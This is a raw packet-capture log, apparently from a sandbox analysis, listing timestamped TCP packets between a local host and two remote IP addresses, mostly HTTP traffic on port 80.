Nov 20, 2024 07:48:19.569139004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569154978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569165945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.569185972 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569189072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.569201946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569210052 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.569226027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.569243908 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.569890976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569905043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569921017 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569947004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569947958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.569962978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569972992 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.569979906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.569989920 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.570007086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.570029020 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.695723057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.695764065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.695779085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.695792913 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.695796013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.695822001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.695879936 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.695935011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.695957899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.695974112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.695986032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.695988894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696012974 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.696012974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696028948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696038961 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.696044922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696060896 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696072102 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.696104050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.696605921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696652889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.696683884 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696701050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696717024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696727991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.696731091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696747065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.696752071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.696780920 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.697123051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697174072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.697206974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697223902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697246075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697258949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.697261095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697276115 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697285891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.697314024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.697829962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697844982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697860003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697875023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697890043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697890043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.697904110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697920084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.697946072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.697946072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.697973013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.698066950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698081970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698121071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.698729038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698744059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698759079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698774099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698777914 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.698788881 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698797941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.698803902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698827982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.698829889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698844910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698848009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.698862076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.698875904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.698904991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.698935986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.699640036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.699655056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.699670076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.699683905 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.699697971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.699700117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.699707985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.699723005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.699733973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.699762106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.823873997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.823951960 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.823967934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824052095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824080944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824084997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824105024 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824120998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824132919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824161053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824166059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824196100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824223995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824250937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824265003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824316025 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824348927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824351072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824361086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824398041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824409962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824445963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824501038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824501991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824537992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824573994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824573994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824594975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824610949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824644089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824656010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824665070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824707985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824759007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824760914 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824794054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824829102 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824829102 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824862957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824868917 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824896097 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824898958 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824915886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824935913 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.824944973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.824980974 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825026035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825072050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825212002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825258970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825335979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825370073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825406075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825424910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825439930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825455904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825475931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825483084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825511932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825531960 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825550079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825577021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825594902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825615883 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825721979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825773001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825773954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825809002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825824976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825841904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825855970 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825876951 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825896025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825912952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825932026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825947046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.825967073 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.825983047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826001883 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826016903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826034069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826054096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826069117 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826091051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826107025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826148987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826245070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826301098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826456070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826488972 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826523066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826523066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826544046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826564074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826579094 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826598883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826612949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826632977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826664925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826667070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826685905 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826700926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826718092 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826735973 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826769114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826771021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826803923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826805115 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826839924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.826841116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826874018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.826900959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.829883099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.829911947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.829946041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.829972982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830050945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830084085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830101967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830121040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830126047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830152988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830164909 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830188990 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830223083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830224991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830255032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830255985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830264091 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830288887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830322981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830338001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830357075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830370903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830391884 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830425978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830449104 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830461025 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830480099 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830513954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830703974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830737114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830756903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830774069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830792904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830817938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830821991 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830854893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830888987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830904007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830924988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.830940008 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.830971003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.831098080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.831151009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.831201077 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.831207037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.831235886 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.831249952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.831269026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.831285954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.831372023 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.831377029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.831525087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.855385065 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:19.855420113 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:19.855495930 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:19.856622934 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:19.856638908 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:19.912360907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912395954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912432909 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912467003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912472963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912525892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912528992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912558079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912581921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912606955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912612915 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912662983 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912667036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912719011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912720919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912755013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912789106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912790060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912820101 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912822962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912833929 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912858009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912867069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912892103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912902117 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912925005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.912939072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912975073 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.912981033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.913014889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.913048983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.913063049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.913084030 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.913091898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.913119078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.913130999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.913149118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.913175106 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.913194895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952186108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952219009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952244997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952270985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952294111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952306986 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952357054 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952359915 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952393055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952400923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952433109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952450037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952497959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952497959 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952527046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952538013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952562094 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952590942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952599049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952601910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952639103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952652931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952687979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952694893 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952717066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952743053 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952753067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952769995 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952805042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952835083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:19.952871084 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:19.952871084 CET	80	49753	62.204.41.163	192.168.2.4
